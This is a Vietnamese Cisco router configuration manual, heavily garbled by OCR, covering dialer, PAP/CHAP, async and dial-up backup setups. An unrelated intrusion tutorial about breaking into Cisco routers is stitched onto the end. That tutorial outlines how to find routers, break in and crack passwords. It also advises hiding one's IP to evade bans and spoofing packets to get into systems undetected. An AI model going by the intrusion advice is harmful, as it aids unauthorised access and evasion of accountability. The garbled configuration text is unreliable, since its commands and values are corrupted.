address [name hostname] [speed 56 | 64] [broadcast]
[dialer-string]

Pinh nghia cach dé di quay s& dén dich: dich
c6 dia chi la bao nhiéu, thong qua interface
nao, quay so nao..

Router(config-if)Dialer string string-number

Pinh s6 dé interface goi ra (néu I&énh dialer
map chua xac dinh.

Router(config-if)Dialer load-threshold load
[outbound | inbound | either]

Dinh lugng load cao nhat truéc khi mé thém
mot cudc goi nlia (dung trong trudng hgp
backup)

Router(config-if)Dialer idle-timeout seconds

Thiét 1ap thdi gian t6i da ma router phai chd
truéc khi ngét k&t néi néu khong cé packet
nao chuyén qua két néi.

Router(config-if)Dialer fast-idle seconds

Dung rat ngén thsi gian chd ngét két néi khi
c6 nhu cau quay s0 khac. C6 nghia 1a néu két
ndi hién tai khong con chuyén packet ma
router co yéu cau thiét 1ap mot két ndi khac,
thay vi chd hét thai gian xac dinh trong l1énh
dialer idle-timeout, router chi can phai chd
mét khodng thdi gian ngén hon dugc xac dinh
trong Iénh dialer fast-idle.

Béang 5.9: Céc lénh dialer.

Vi du mét két ndi nhu hinh vé sau (hinh 5.19)
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171.68.12.0
—————— 131.108.126.1 131.108.126.2 ————
BRO 171.68.14.0
5551234

Hinh 5.19:
Ca4u hinh cho router A :

Access-list 101 deny igrp any 255.255.255.255 0.0.0.0
Access-list 101 deny icmp any 171.68.12.0 0.0.3.255 echo
Access-list 101 permit tcp any 171.68.12.0 0.0.3.255 eq ftp
Access-list 101 permit ip any any

Dialer-list 1 list 101

!

ip route 171.68.12.0 255.255.255.0 131.108.126.2

ip route 171.68.14.0 255.255.255.0 131.108.126.2
!

interface bri 0

ip address 131.108.126.1 255.255.255.0
dialer-group 1

dialer map ip 131.108.126.2 broadcast 5551234
!

dialer idle-timeout 300

Trong thi du nay group-number la 1 xac dinh interesting traffic dugc thdng qua access-list
101: cAm broadcast, cAm protocol icmp dang echo va ftp ti subnet 171.68.12.0 va cho
phép tat ca ip protocol con lai. Ngoai ra 1&énh dialer map con cho biét dé dé&n dudc router
B phai quay s6 5551234 va thai gian chd trudc khi ngat két néi la 300s.

Chi ti€t vé cach cau hinh access-list xin tham khao tai liéu CCNA-chuong 7 cta Cisco
hay cac CD-ROM Cisco Documentation.

— Authentication

Authentication 1a cach ma router kiém tra user khi két ndi, thuc hién chuic nang bao mat
cho hé thong.

P& cdu hinh authentication, dung lénh :

Router(config-if)#ppp authentication {chap | chap pap | pap chap | pap}

o PAP (Password Authentication Protocol)

Cung cap phuong phap don gian cho mot client (user, router) & xa thiét lap két néi théng
qua qua trinh dinh danh bang céach “bat tay 2 Ian”

Bé&t tay 2 1an c6 nghia la :

Sau khi lién két PPP thiét lap, thong tin username/password dugc gli bdi client & xa .
Néu su dang ky username/password la dung thi router sé gui lai moét thdng diép Accept,
két ndi dugc thiét 1ap, néu username/password khong dung thi router gli thdng diép
Reject va ngat két néi.

Viduy:
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ACCess server

Femote user
John Cizcod
Hun PRPP
Local user
Inputs name and Use PAP database
password when "iohn, urbiz"

prompted —*  ysemame john
Accept o reject password urhiz

A

Hinh 5.20: két n6i remote user — router

Left  r— M Right
e LitEr -!_'i._ L I_L.L e LiteEr
hosthame keft hestranme right
int async O int async O

ercapsulation ppp
ppp autherticaticn PAP
ipadd 100,02 266 265 2650
dialer-mapip 10001
rame ket 5554521
pPPp pap sent-username right
paaswor rightl

ercapsukation ppp
ppp authentication PAP
ipadd 10001 266 2685 26550
dialer-map ip 10002
name right 5552345
pPp pap sert-uzmame et
password lefl

Hinh 5.21: két ndi router—router: username chinh Ia tén clda router, password phai dugc
quy dinh théng nhét gida cdc router

PAP khong phai la mot phuong phap authentication manh vi password dugc gui trén
dudng lién két dudi dang clear-text (khéng dugec ma hoa)

o CHAP (Challenge Handshake Authentication Protocol).
Phuong phap nay an toan han PAP. Server ma dugc truy cap vao gui 1 challenge
message dén remote client sau khi lién két PPP dugc thiét lap . Remote client sé tra I5i
gia tri ma da dugc tinh toan bang ham “bam” one-way hash (mac dinh 1a MD5). Router
dudgc truy cap ki€m tra cau tra I5i dé néu dung thi viéc authentication hoan thanh, ngugc
lai thi s& ngat két néi.

Remote uzer Access zerver

Jeohin Ciaco
Fun PPP o
il Lecal
 Use CHAP b
Mame: jehn Challerge

I 3

Pazzwerd: urbiz A
EEponse uzername jehn

pazaword urb

¥

Accept or reject

A

Hinh 5.22
Cac budc hoat dong clia CHAP dugc m ta chi tiét bang cac hinh sau:

Budc 1:
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I"—’:;;'i | Userdizl=in > _:_?:__'I
751 2E40-1
Budc 2:
I -d'*i Lser dials in > 1_!1;__]_\
a6 AG40-1
<;:| ol | id random | 3640-1
Budc 3:
- N
l‘-“'."“i | User dials in > _}_lu';__\
766-1 3‘340.-1
user pass .
55104 ot <]| 01| i | random | 36401 |
\
Budc 4 :
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%

.ﬁ-._-;:":;.i | Lzerdizalz in > }‘Lj_

36401

Lzer paas -
— == 01 i | random | 36401 |
3640-1 pol <:| | rancem

(o2 [ d | rah | 7eo |ﬁ>

Trong mot so trudng hgp quay s6 ra ma két ndi bén ngoai khéng phai la router ma la mot
Server dugc cdu hinh dich vu RAS hay RRAS, router phai sii dung Iénh dé gi user
name va password tGi Server:

Router(config-if)#ppp {pap | chap} sent-username username password password

Vi du nhu mét LAN & trung tam s dung router dé két ndi dén Server dét tai chi nhanh.
Tai server nay c6 user tén la dial véi password la dialtest va cé quyén Call-in. Lénh
tuong ting cua router khi mudn két ndi vao Server la:

Router(config-if)#ppp pap sent-username dial password dialtest

Lénh nay dudc dat vao trong interface nao c6 nhiém vu quay sé ra.

e Cau hinh async interface

Céc lénh thudng dung dé cdu hinh async interface dudc trinh bay trong bang sau: (cac
lénh nay nam trong interface configuration mode-router(config-if)#)

Lénh Giai thich
Physical-layer {sync | Dong 1énh nay xac dinh ché do hoat déng cla interface la sync hay
async} async, ap dung cho céc interface dang A/S, dang sync la default nén dé

st dung cho dial-up ta phai chuyén ché dd async cho interface.

async dynamic address || Cho phép client Iya chon ip address mét cach linh dong khi quay sé vao.
IP address c6 thé la do user tu gan hay nhan dugc tif cac pool, dhcp hay
dudc router gan cé dinh.

peer default ip address
{ip-address | dhcp | pool
poolname}

Gan ip address cho client khi quay s6 vao. Do chi |a interface riéng 1é
nén thudng s dung lénh peer default ip address jp-address dé gan mot
dia chi cho client két néi qua interface hién tai.
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async mode dedicated

Thiét l1ap ché& do6 dedicated asynchronous network trong dé client bat
budc phai chon mot trong hai dang két ndi: ppp hay slip. Néu két néi chi
st dung ppp hay slip nén s dung Iénh nay.

async mode interactive

Thiét l1ap ché& do interactive trén két ndi async trong dé client cé thé tuy

chon két ndi slip, ppp hay exec tuy thudc vao EXEC command (ppp hay
slip) ma client d6 nhap vao khi dugc yéu cau. Khi sii dung lénh nay céac
I&énh auto select va mot sé 1énh khac trong line configuration mode mgi

c6 hiéu lyc.

async dynamic routing

C4u hinh async interface la dynamic routing, cho phép routing protocol:
RIP, IGRP, OSPF, thudng dugc dung chung vdi Iénh async mode
dedicated

async default routing

Tu ddng cdu hinh async interfcae cho cac routing protocol.

Béang 5.10: Céc lénh async

e Ca&u hinh group async interface

Nhom mot sd interface thanh mot group sé thuén Igi hon trong viéc cau hinh va quan ly

cac interface.

Céc lénh clia async interface dugc trinh bay & trén c6 thé st dung dé cau hinh group
async. Sau day la cac I1énh danh riéng cho group async:

Lénh

Giai thich

Router(config)# Interface group-async

number

Khéi tao mot group async.

Router(config-if)# ip unnumbered interface || An dinh mét dia chi IP mugn tam cla moét

interfece khac, thudng la ethernet.

Né&u khdng mugn dia chi ta ¢ thé s dung 1énh
ip address ip-address netmask thong thudng
dé gan dia chi cho group.

Ngoai ra ta cling c6 thé khéng gan ip cho group
néu cé sl dung mét dialer interface 4o c6
group hién tai la thanh vién va gan dia chi cho
interface ao dé.

peer default ip address

{ip-address | dhcp | pool poolname}

Gan ip address cho client khi quay s6 vao. Do
la mot nhém nhiéu interface nén thudng s
dung Iénh peer default ip address dhcp hay
peer default ip address pool poo/lname. Sau
do xac dinh dia chi dhcp server (bang 1énh
dhcp-server) hay xac dinh pool (bdng 1énh ip
local pool)

Ta van cé thé gan ip cho céc client theo tiing
interface riéng I& nhu phan cau hinh async
interface (Iénh peer default ip address ip-
address) nhung thém vao dau cau lénh doan
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“member number” véi number la sé tuong Ging
v@i interfce trong group. (xem vi duy)

Group-range low-end-of-range high-end-of-
range

Dinh giGi han dau va cudi cla nhiing intreface
trong nhém.

Bang 5.11: Céc Iénh Group async

Pé kiém tra lai c4u hinh Group Interface thi dung lénh show interface async

Vi du sau trinh bay cach tao mét asynchronous group interface 0 vGi cac thanh vién tu 2

dén 7:

interface group-async 1
group-range 2 7

Vi duy sau cho thdy nhu cau cdu hinh theo nhém sé c6 Igi ra sao :

C4&u hinh asynchronous interfaces 1, 2, va 3 riéng ré :

interface Async1

ip unnumbered Ethernet0
encapsulation ppp

async default ip address 172.30.1.1
async mode interactive

async dynamic routing

!

interface Async2

ip unnumbered EthernetO
encapsulation ppp

async default ip address 172.30.1.2
async mode interactive

async dynamic routing

!

interface Async3

ip unnumbered Ethernet0

!

encapsulation ppp

async default ip address 172.30.1.3
async mode interactive

async dynamic routing

Va cung c4u hinh 3 interface nhu trén nhung khi ta gom chung lai d& c&u hinh cho group
thi viéc cdu hinh sé& dan gian va nhanh choéng hon :

interface Group-Async 0
ip unnumbered Ethernet0
encapsulation ppp

async mode interactive
async dynamic routing
group-range 1 3

member 1 async default ip address 172.30.1.1
member 2 async default ip address 172.30.1.2
member 3 async default ip address 172.30.1.3

e CA&u hinh Dialer interface :
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Dialer interface 1a mot interface &o c6 thé bao gom async interface hay group async
interface. T4t c& cac lénh sl dung cho async interface hay group async interface déu cé

thé ap dung cho dialer interface.

Céc lénh sau day la cac l1&énh dac biét dung dé khdi tao dialer interface.

Lénh

M6 ta

Router(config)# interface dialer number

Tao moét dialer interface dung dé cau hinh rotary
group

Router(config-if)# dialer rotary-group number

bat mét interface vat ly vao trong mét dialer
rotary group Lénh nay dat 6 céc interface thanh
vién cua dialer rotary-group.

Sau khi go Iénh nay tai cac interface thanh vién,
céc interface thanh vién s& nhan dudc cdu hinh
tugng tu nhu cdu hinh cla dialer interface.

Bang 5.12: Cac lénh interface dialer

Vi du mot két ndi nhu hinh 5.15:

131.108.126.1

131.108.124.0 3261111

131.108.126.2

3262222

32621111

131.108.126.3

171.68.14.0

Hinh 5.23: So dé két néi dung rotary-group

Trong hinh router 4000 cé 04 interface BRI (ISDN). Céc interface nay dugc nhém thanh
rotary group dé linh dong trong viéc quay s6 ra va nhan cudc goi tii nhiéu két néi bén

ngoai (trong hinh la 02 két ndi )
Cau hinh cho Cisco 4000:

Isdn switch-type basic-net3

Ip router 171.68.12.0 255.255.255.0 131.108.126.2
Ip router 171.68.14.0 255.255.255.0 131.108.126.3

Dialer-list 2 protocol ip permit
Username 2500-A password cisco
Username 2500-B password cisco
!

interface dialer 3_

ip address 131.108.126.1
encapsulation ppp

ppp authentication chap

(tao dialer interface 3)

dialer map ip 131.108.126.2 name 2500-A 3262222
dialer map ip 131.108.126.3 name 2500-A 3263333

dialer-group 2
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dialer load-threshold 160
dialer fast-idle 15

dialer idle-time-out 120

|

int bri 0

dialer rotary-group 3 (gén interface BRO vao dialer ineterface 3)
int bri 3
dialer rotary-group 3 (gan interface BR3 vao dialer ineterface 3)

Ca4u hinh cho Cisco 2500-B

Isdn switch-type basic-net3

Ip route 131.108.124.0 255.255.255.0 131.108.126.1
Dialer-list 2 protocol ip permit

Hostname 2500-B

Username 4000 password cisco

!

interface bri 0

encapsulation ppp

ppp authentication chap

ip address 131.108.126.3 255.255.255.0
dialer-group 2

dialer load-threshold 160

dilaer map ip 131.108.126.1 name 4000 3261111

dialer idle-tiomeout 120
!

C&u hinh nhu trén cho phép 04 BRI interface hoat dong dudi sy diéu khién cla dialer
interface. Khi cé yéu cau két ndi ra ngoai, dialer interface s& chon bat ky mot BRI
interface nao con ranh dé thuc hién quay sd. Khi ¢6 cudc goi vao va néu sl dung dich vu
trugt sé cta ISDN (04 dudng v6i 01 s6 duy nhat), dialer interface cling sé phan bé cudc
goi doé vao interface nao dang ranh.

5.4.5 CA4u hinh line

Cac cach céu hinh console, vty line da dugc trinh bay trong phan trudc, vi vay trong phan
nay chung tdi chi trinh bay cach cdu hinh cac tham sé cho tty line:

Lénh Mo ta

Vao ché& dd c&u hinh 1 line line-number1 hoac cau hinh tu line-

number1 dén line-number2

Line line- 1 Uine- o . ,
ine line-numbert [line- |\, 4 | <21 vao ché db cAu hinh line d& c&u hinh tit line 1 d&n 16:

number2]

(config)#line 1 16

(config-line)#
Modem inout Cho phép két néi modem & dudng goi dén va goi ra
Modem dialin Cau hinh cho line tu dong tra I3i mdét modem

Trang 82/94




Hudng dan c4u hinh cac chuc ndng co ban cda Cisco router

Lénh Mo ta

Modem callin C4u hinh line cho modem ndi vao.

Modem cts-required C4u hinh line dong ké néi.

Transport input all Cho phép bat cu giao thtic transport nao.

Speed speed Thiét lap toc do gilia router va modem.

Stopbits bit-number Thiét 1ap s6 lugng bit / byte lam stopbit.

Flowcontrol {hardware | || Xac dinh loai flow control.

software}

Ty dong phat hién ra loai modem dang gan vao dé ty déng gan
cac thong s cia modem do.

modem autoconfigure
discovery

Béang 5.13: Céc lénh c4u hinh line
Lénh show line trinh bay t4t ca céac loai line va tinh trang clia mdi loai.

Vi du cho ta thdy mét bang théng ké cac loai line CTY, TTY, AUX, va VTY Line sau khi
dung Iénh show line:

Fiotary
Emp # chemib: 18- sh line
Ty Tvp TeiRe I'.-bde Foty|Aced Actl| Uses Moise Owermuns Aczess chss
.0 oTy . P N | ] indout
1T 115200 - inout 4 T - o0
PR T 11520015200 - inout 1 T c 00
mfe T 4 3 TTY 115200415200 - inout eE 1o =4 140
a4 TTY 115200415200 - incut d M &l 140
~ 5 TTY 115200415200 - incut 45 iz o225 220
4 & TTY 11E200H1E200 - inout e 7 0 o0
| 7 OTTY 110015200 - inow - & 140
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Hinh 5.24: Man hinh xudt khi s& dung lénh show line

SR
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5.5 Cau hinh remote user-central dial-up

55.1 Vidui:

Hinh dugi day mé td mot hé théng mang dial-up gém c6 nhiing may vi tinh cac
ndi dén mot mang cuc bd thong qua cac modem.

Logical
nedwiork

nhan két

Hinh 5.25: Vi du remote user-router, s dung 01 modem (cdu hinh async interface)

Vi md hinh nhu trén, can phai cau hinh cac budc nhu sau:

e Cau hinh mot dudng asynchronous trén access server vGi PPP encapsulat

ion

e Cé&u hinh mét interface trén access server dé modem néi vao; intreface nay ciing

phai cau hinh sao cho chdp nhan cudc goi tr modem (incoming call)

e C4u hinh 1 dia chi IP mé&c dinh cho dudng day goi dén. Dia chi IP nay chi dinh dia chi

cla remote PC két ndi dén server.

e Access Server dugc cau hinh trang thai async mode dedicated

C4u hinh nhu sau:

ip routing

!

interface ethernet 0

ip address 192.168.32.12 255.255.255.0
!

interface async 1

encapsulation ppp

async mode dedicated

async default ip address 192.168.32.51
async dynamic address

ip unnumbered ethernet 0

line 1

autoselect ppp

modem callin

speed 19200

552 Vidu2:

Vi du nay ciing l1a mé hinh remote user két ndi vao central. Router ma cac use

r két noi

vao dugc gan nhidu modem. Mdi mot bd bao gébm username va password sé cau hinh

cho mdi user mudn két noi vao.
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Hetwon

(16 Modems)

Cisco 2511

Hinh 5.26: Vi du remote user-router, sf dung 16 modem (cdu hinh group async interface)

Vi méd hinh nay, phai té chiic group. Cac budc c&u hinh nhu sau:

Budc Lénh Gidi thich
1 Interface group-async number Khd&i tao mdt nhom
2 ip unnumbered interface name An dinh mdt dia chi IP “mugn” tU interface khac.
3 || Encapsulation ppp Thiét 1ap giao thic ppp
4 || Async mode dedicated Cau hinh ché dé dedicated cho cac interface
5 Ppp authentication chap pap Bat CHAP va PAP.
An dinh nhiing dia chi IP cla céac client ti mét
6 Peer default ip address pool poolname pool ’ gd '
7 no cdp enable T4t giao thiic Cisco Discovery (CDP) trén
interface
8 Group-range low-end-of-range high-end-of- || Dinh gi6i han dau va cudi cta nhiing intreface
range trong nhom
9 Exit Trd vé ché& dd cdu hinh toan cuc

Béang 5.14: Céc budc cau hinh group.

C4au hinh nhu sau :

!

version 11.2

service timestamps debug datetime msec
service password-encryption

no service udp-small-servers

no service tcp-small-servers

!

hostname router2511

!

enable secret letmedostuff
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!
username jason password foo
username laura password letmein
username russ password opensesame
username syed password bar
username tito password knockknock

!

interface Ethernet0

ip address 192.168.39.1 255.255.255.0
!

interface Serial0

no ip address

!

interface Seriall

no ip address

!

interface Group-Async1

ip unnumbered ethernet0
encapsulation ppp

async mode dedicated

peer default ip address pool dialup

no cdp enable

ppp authentication chap

group-range 1 16

!

ip local pool dialup 192.168.39.239 192.168.39.254
!

line con 0

login

line 116

login local

modem InOut

transport input all

line aux 0

line vty 0 4

exec-timeout 20 0

password letmein

login

!

end

O @R
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5.6 Cau hinh router-router dial-up

Xem mo hinh sau:

IP metaek 17216100 [ e, 17216, 2000

Modam Moz ‘h. )

Sroopy Wioodstook %

Arswiening sidi Dialng side
Hinh 5.27: Vi du két néi router-to-router.

D6i v6i mé hinh router-router dial-up thi mét router phai déng vai trd answering va mét
router dong vai tro dialing.

P& cau hinh router-router dial-up, phai cdu hinh cho ca router answering va router dialing
trong do router dialing phai dugc cau hinh cho viéc quay s6 ra bao gém chat-script, dialer
map, ip route.. L&énh ip route dung dé thiét Iap static route (da trinh bay & phan config
leased line:

ip route network [mask] {address|interface} [distance] [permanent]

e C4&u hinh answering access server (Snoopy):
|

version 12.0
!
hostname Snoopy
!
enable password test
!
aaa authentication ppp default local
!
username Woodstock password 7 kd345096ix09ghu934c=e
|
interface Ethernet0
ip address 172.16.10.1 255.255.255.0
!
interface Serial0
no ip address
shutdown
!
interface Seriall
no ip address
shutdown
!
interface Async1
ip unnumbered Ethernet0
encapsulation ppp
peer default ip address 172.16.20.1
async dynamic routing
async mode dedicated
dialer idle-timeout 300
dialer map ip 172.16.20.1 name Woodstock broadcast
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ppp authentication chap

dialer-group 1
!
router rip

network 172.16.0.0
|
access-list 100 deny ip 0.0.0.0 255.255.255.255 255.255.255.255 0.0.0.0
access-list 100 permit ip 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255
!

dialer-list 1 list 100
!
ip route 0.0.0.0 0.0.0.0 172.16.20.1
ip route 172.16.20.1 255.255.255.255 async1
!
line con 0
line aux O
modem dialin
speed 115200
flowcontrol hardware
line vty 0 4
password cisco
|
end

e C4u hinh cho dialing access server (Woodstock):
|

version 12.0
!
hostname Woodstock
|
enable password test
|
username Snoopy password peanuts
chat-script dialnum "" "atdt\T" TIMEOUT 60 CONNECT \c
chat-script rstusr "" "at&fs0=1e0&r2&d2&c1&b1&h1&m0&k0" "OK"
!
interface Ethernet0
ip address 172.16.20.1 255.255.255.0
!
interface Serial0
no ip address
|
interface Seriall
no ip address
|
interface Asynci
ip unnumbered Ethernet0
encapsulation ppp
async default ip address 172.16.10.1
async dynamic routing
async mode dedicated
dialer in-band
dialer idle-timeout 300
dialer map ip 172.16.10.1 name Snoopy modem-script dialnum broadcast 14085554321
dialer-group 1
ppp authentication chap
pulse-time 3
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router rip
network 172.16.0.0
|
ip route 0.0.0.0 0.0.0.0 172.16.10.1
ip route 172.16.10.1 255.255.255.255 async 1
|
access-list 100 deny ip 0.0.0.0 255.255.255.255 255.255.255.255 0.0.0.0
access-list 100 permit ip 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255
!
dialer-list 1 list 100
|
line con O
line aux 0
modem InOut
speed 115200
script reset rstusr
flowcontrol hardware
|
line vty 0 4
password test
login
|
end

Ta cé thé khoéng sl dung l&énh ip unnumbered ma gan dia chi tryc ti€p cho céng async
nhu sau:

e C4u hinh answering access server (Snoopy):

interface Async1
ip address 172.16.30.1 255.255.255.0
encapsulation ppp
peer default ip address 172.16.30.2 ( hay async dynamic address déu dugc)
async dynamic routing
async mode dedicated
dialer idle-timeout 300
dialer map ip 172.16.30.2 name Woodstock broadcast
ppp authentication chap
dialer-group 1

e C4u hinh cho dialing access server (Woodstock):

interface Asynci
ip address 172.16.30.2 255.255.255.0
encapsulation ppp
async default ip address 172.16.30.1 ( hay async dynamic address déu dugc)
async dynamic routing
async mode dedicated
dialer in-band
dialer idle-timeout 300
dialer map ip 172.16.30.1 name Snoopy modem-script dialnum broadcast 14085554321
dialer-group 1
ppp authentication chap
pulse-time 3
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router rip
network 172.16.0.0
!
ip route 0.0.0.0 0.0.0.0 172.16.30.1

ip route 172.16.30.1 255.255.255.255 async 1
!

SO R
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5.7 Cau hinh Back-up bdng dudng dial-up
5.7.1 Céc lénh dung dé tao mét dudng dial-up back-up:
Lénh Giai thich

Router(config-if)#

Chon mét back-up line. L&nh nay dudc thiét lap tu

Backup interface inferface-name interface configuration mode cUla interface chinh can
backup.

Router(config-if)# Lénh thiét 1ap cac nguéng bat va tat dudng back-up

Backup load {enable-threshold | Vi du: Router(config-if)# backup load 60 5

never} {disable-load | never}

Giai thich vi du trén : néu kha nang tai trén dudng
chinh vugt qua 60% thi sé khéi déng dudng backup.
Khi kha nang tai dé giam di 5% thi s& tat dudng
backup

Router(config-if)#

Backup delay {enable | never}
{disable-delay | never}

Lénh thiét 1ap thai gian bat dudng backup khi c6 su c6

5.7.2

Béang 5.15: Céc lénh cdu hinh backup dial-up.

Vidu:

M6 hinh sau thé hién 2 hé théng két néi véi nhau bang leased line. Ngoai ra, 2 hé théng
con cé mdt dudng dial-up dé nang cao do an toan.

N&u dudng chinh (leased line) bi down. Budng back-up tu dong bat dé duy tri két néi.
C4&u hinh nay s dung auxiliary port la backup port.

Leased line

AT:_’ 7 _’ﬂ \
Access Acoess %
server 1 server 2
Nabwaork A Metwork B

Dial-backup line

Hinh 5.28: Vi du backup dung dial-up.

CAau hinh nhu sau :

Cho router A (dialing access server):

hostname routerA
!

username routerB password cisco
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chat-script backup "" "AT" TIMEOUT 30 OK atdt\T TIMEOUT 30 CONNECT \c !
!

interface Serial0

backup interface Async1

ip address 192.168.222.12 255.255.255.0
!

interface Async1

ip address 172.16.199.1 255.255.255.0
encapsulation ppp

async default ip address 172.16.199.2
async dynamic address

async dynamic routing

async mode dedicated

dialer in-band

dialer map IP 172.16.199.2 name routerB modem-script backup broadcast 3241129
dialer-group 1

backup load 60 5

ppp authentication chap

!

dialer-list 1 protocol ip permit

!

line aux 0

modem InOut

rxspeed 38400

txspeed 38400

C4u hinh cho router B tuang ty nhu mét answering router .

SR
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6 Tong két.

Tai liéu nay dudc bién soan dua theo cac tai liéu chia Cisco: Documentation CD-ROM,
Internet va trén cac kinh nghiém thuc t€. Cac van dé da dudc trinh bay trong tai liéu nay
la chi la cac van dé co ban va thudng gdp nhét khi cdu hinh Cisco Router. Mac du hét
stic c6 gang chung tdi cling khdng thé trinh bay hét tat ca cac 1énh can thiét cla Cisco
IOS ¢ lién quan dén cac van dé da dugc trinh bay. Chung toi chi hy vong v6i mot chut
kinh nghiém clia nhiing ngudi di trudc, cudn tai liéu nay sé gilp cac ban it nhat cling lam
quen dudc véi Cisco Router, lam quen dudgc vaSi cach cdu hinh Cisco router & muc ca
ban. T dé c6 thé tiép can cac van dé mdi, phuc tap hon lién quan dén cdng nghé va
san pham cla Cisco noéi riéng va clia cac hang khac néi chung.

SR

Moi thac mac, déng gop y kién xin lién hé:

Phong GPXN2 — Cong ty TNHH Dich vu Céng nghé Tin hoc HiPT.
60 — 62 Nguyé&n Van Trdi, Q. Phd Nhuan, Tp. H6 Chi Minh.

DT: 8458518. Fax: 8458516.
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Choc ngoay cac hé thong Cisco

trang nay da dugc doc lan

Canh bao: )

KHONG DUQC str dung tai liéu nay dé pha hoai cac hé théng cisco, hodc tham nhap bat hgp
phap vao hé thong. Tai liéu nay chi nhénj muc dich gido duc. Chi st dung tai li€u nay mot cach
hgp phap (Wargames cuia cac hacker chang han.), va khéng dugc pha hoai bat ki cai gi. Day I:é]
mét bai hoc dan dat tiing budc mét vé cach mét nhiing diém yéu cla cisco dan tdi viéc cb thé bi
truy nhap trai phép. Néu ban bi Qét qua tang dang dot nhap vao mét bo dan dudng cisco, hoac
lam rGi loan hé thong, ban cé thé lam gian doan hang tram ngudi dung internet, ton kém hang
ngan dola, cho nén chi sir dung tai liéu nay khi ban dugc cho phép ! SIr dung sai tai liéu nay sé
lam cho ban gdp rat nhiéu rac r6i.

Chu y: mét s6 bai hoc dudc viét cho hé Unix, va khdng dugc chuyén soan cho DOS/hay tucng

thich Windows, cho nén ban sé& phai xem tai liéu nay bang trinh duyét Web, hodc Microsoft
Word.

NGi dung chinh:

Trudce khi bt dau:

- Dia chi IP la gi?

- ISP 13 gi?

- G6i tin TCP/IP 1a gi?

- Lam thé nao dé gidu dia chi IP

- S{r dung Telnet nhu thé nao

- S{r dung HyperTerminal nhu thé nao
- S{r dung Ping nhu thé nao

- S{r dung TraceRoute nhu thé nao

- S{r dung proxy server nhu thé nao

- Phan 1: Tai sao lai xd&m nhap bd dan dudng cisco?

- Phan 2: Tim mét bd dan dudng cisco nhu' thé nao ?

- Phan 3: Lam thé& ndo thdm nhap vao bd dan dudng cisco ?
- Phan 4: Phd mét khau nhu thé nao ?

- Phan 5: Str dung bd dan dung nhu thé nao ?



Nhig thr CAN biét TRUGC khi ban bét dau:

Dia chi IP la gi?

IP I3 tir viét tat cla Internet Protocol, dia chi IP dugc st dung bdi cac may tinh khac nhau dé
nhan biét cac may tinh két ndi gilra ching. Pay la Ii do tai sao ban lai bi IRC cam, va la cach
ngudi ta tim ra ISP cua ban.

Pia chi IP c6 thé dé dang phat hién ra, ngudi ta c6 thé Iy dugc qua cac cach sau :

- ban Iuét qua mot trang web, IP cla ban bi ghi lai

- trén IRC, bt ki ai cling c6 thé cd IP cia ban y
- trén ICQ, moi ngudi ¢ thé biét IP clia ban, thdm chi ban chon "do not show ip" ngudi ta van
ldy dugc nd

- néu ban két ndi véi mot ai do, ho cd thé gb "systat", va biét dugc ai dang két nGi dén ho

- néu ai dé guri cho ban mdt email véi mot doan ma java tém IP, ho cling c6 thé tém dugc IP cla
ban

Co rat nhiéu cach tom dia chi IP, bao gom ca viéc s dung cac chuang trinh back-door nhu Sub7
hodc NetBus.

Thé nao la mét ISP?

ISP viét tat cho Internet Service Provider, d6 la nhitng cong ty mang internet dén cho ban. Ban
két n6i dén ho mai khi ban dial-up va tao mot két nGi. Moi ngudi co thé phat hién ra ISP clia ban
chi don gian bang cach traceroute ban (traceroute sé€ dugc giai thich sau). N6 sé trong nhu thé
nay:

tracert 222.222.22.22

Tracing route to [221.223.24.54]

over a maximum of 30 hops.

1 147ms 122ms 132ms your.isp [222.222.22.21]

2 122ms 143ms 123ms isp.firewall [222.222.22.20]

3 156ms 142MS 122ms aol.com [207.22.44.33]

4 * * * Request timed out

5 101ms 102ms 133ms cisco.router [194.33.44.33]

6 233ms 143ms 102ms something.ip [111.11.11.11]

7 222ms 123ms 213ms netcom.com [122.11.21.21]

8 152ms 211ms 212ms blahblah.tts.net [121.21.21.33]

9 122ms 223ms 243ms altavista.34.com [121.22.32.43] <<< target's isp
10 101ms 122ms 132ms 221.223.24.54.altavista.34.com [221.223.24.54]
Trace complete.

Goi tin TCP/IP la gi?

TCP/IP viét tat cho Transmission Control Protocol and Internet Protocol, a Goi tin TCP/IP la mét



khoi dir liéu da dugc nén, sau dé kem thém mot header va giri d€n mét may tinh khac. bay la
cach thic truyén tin cla internet, bang cach gui cac goi tin. Phan header trong mot goi tin chira
dia chi IP cia ngudi gui géi tin. Ban cd thé viét lai mot gdi tin va 1am cho né trong gidng nhu' dén
tlr mot ngudi kahc!! Ban c6 thé diing cach nay dé tim cach truy nhap vao rat nhiéu hé théng ma
khong bi bét. Ban sé phai chay trén Linux hodc c6 mét chuong trinh cho phép ban lam diéu nay.
Bai giang nay sé khong dua ra cach st dung bién phap nay trén bo dan dudng Cisco, nhitng sé
nam trong tam tay khi hack vao mét hé thdng. Néu gdp rac réi khi ban thir hack vao mot hé
thong, sir dung cach nay...

Lam thé& nao dé gidu IP cla ban:

Tim mot chuang trinh nhu Genius 2 hoac DC IS, chiing sé cho phép ban chay IdentD. Cac
chuang trinh nay sé thay d6i phan dau cta IP may tinh clia ban ngay Iap tirc! Dung cach nay khi
ban bi dudi ra khdi IRC chat room.... ban sé& ¢ thé quay lai ngay Iap tdc! Ban cling cd thé sur
dung cach nay khi ban truy nhdp vao mot hé thdng khac va nhu thé nd sé log id sai

SU dung telnet :
Ban md telnet dan gian bang cach chon Start Menu r6i Run va go "telnet".

MOt khi ban d& ma dudc telnet, ban s& mudn thay déi mot vai tinh ndng. Chon
Terminal>Preferences. Tai day ban cd thé thay déi kich thudc viing dém font, va mot cai thr
nifa. Ban cling c6 thé bat/tat "local echo", néu ban bét,

may tinh s& hién thi moi thr ban g& vao, va cac may tinh khac ciing s& hién cho ban thay.
Va ban c6 thé s& nhan dudc nhitng thong diép tuong tu’ nhu thé nay.

ban go "hello", va ban nhan dugc
hhelelollo

Diéu nay xay ra bdi vi thong tin da phan hdi lai va nhitng gi nhan dugc la nhitng gi ban da go. Li
do duy nhat t6i dung chuong trinh nay bdi 1€ né khong tra vé nhitng gi ban g6

M3c dinh, telnet sé k&t ndi vi mdt hé théng bang cdng telnet, cdng sd 23. Va tir bay gid ban sé&
khdng chi két nGi bang cng 23, va khi ban két ndi, ban cd thé chon d6i sang dung cong 25
chdng han, c6ng nay dugc dung bdi cac mail servers. Hodc cd thé 1a cdng 21, cho FTP. C hang
nghi cdng, cho nén ban phai chon ding cdng can thiét

SUr dung HyperTerminal:

HyperTerminal cho phép ban thiét Iap mdt "server" trén bat ki cdng nao clia mdy tinh cta ban dé
